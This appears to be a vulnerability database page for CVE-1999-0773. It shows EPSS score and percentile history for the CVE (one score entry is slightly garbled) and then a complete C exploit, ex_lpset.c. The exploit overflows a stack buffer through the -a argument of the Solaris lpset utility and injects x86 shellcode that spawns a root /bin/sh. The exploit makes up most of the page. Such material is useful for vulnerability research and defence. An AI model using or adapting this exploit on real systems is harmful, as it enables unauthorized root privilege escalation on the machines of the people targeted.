CVE-1999-0773 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.76%	–	–
2022-03-27	–	–	1.76%	–	–
2022-04-03	–	–	1.76%	–	–
2022-04-17	–	–	1.76%	–	–
2022-08-28	–	–	1.76%	–	–
2023-03-05	–	–	1.76%	–	–
2023-03-12	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.15%
2025-04-15	–	–	–	–	0.15%
2025-04-15	–	–	–	–	0.15,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	54%
2022-03-27	55%
2022-04-03	74%
2022-04-17	75%
2022-08-28	76%
2023-03-05	77%
2023-03-12	–
2024-06-02	–
2025-01-19	–
2025-03-18	32%
2025-04-15	36%
2025-04-15	36%

/* source: https://www.securityfocus.com/bid/251/info A stack buffer overflow vulnerability in the handling of the "-a" command in the lpset program allows arbitrary execution of code with root privileges. The lpset utility sets printing configuration information in the system configuration databases. lpset can be used to create and update printing configuration in /etc/printers.conf or Federated Naming System (FNS). Only a superuser or a member of Group 14 may execute lpset. There has been mixed results as to whether the applications exits with the message "Permission denied: not in group 14." before the overflow can be exploited, and thus the vulnerability can only be exploited by members of group 14. */ /*=================================================================== ex_lpset.c Overflow Exploits( for Intel Edition ) The Shadow Penguin Security (http://base.oc.to:/skyscraper/byte/551) Written by UNYUN (unewn4th@usa.net) ===================================================================== */ #define OFFSET 0x3b88 #define STARTADR 700 #define ENDADR 1200 #define EX_STADR 8000 #define BUFSIZE 22000 #define NOP 0x90 unsigned long ret_adr; int i,adjust; char exploit_code[] = "\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0" "\x17\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff\x55" "\x8b\xec\x83\xec\x08\xeb\x50\x33\xc0\xb0\x3b\xeb\x16\xc3\x33\xc0" "\x40\xeb\x10\xc3\x5e\x33\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88\x7e" "\x06\xeb\x05\xe8\xec\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f\xc3" "\x5e\x33\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c\x50\x8d\x46\x08" "\x50\x8b\x46\x08\x50\xe8\xbd\xff\xff\xff\x83\xc4\x0c\x6a\x01\xe8" "\xba\xff\xff\xff\x83\xc4\x04\xe8\xd4\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__(" movl %esp,%eax "); } static char x[BUFSIZE]; main(int argc, char **argv) { memset(x,NOP,18000); ret_adr=get_sp()-OFFSET; printf("0 : x86 Solaris2.6 J\n1 : ?\n2 : ?\n3 : x86 Solaris 7 J\n"); printf("Input (0-3) : "); scanf("%d",&adjust); printf("Jumping Address = 0x%lx\n",ret_adr); for (i = adjust+STARTADR; i<ENDADR ; i+=4){ x[i+2]=ret_adr & 0xff; x[i+3]=(ret_adr >> 8 ) &0xff; x[i+0]=(ret_adr >> 16 ) &0xff; x[i+1]=(ret_adr >> 24 ) &0xff; } for (i=0;i<strlen(exploit_code);i++) x[i+EX_STADR]=exploit_code[i]; x[5000]='='; x[18000]=0; execl("/usr/bin/lpset","lpset","-n","xfn","-a",x,"lpcol1",(char *) 0); }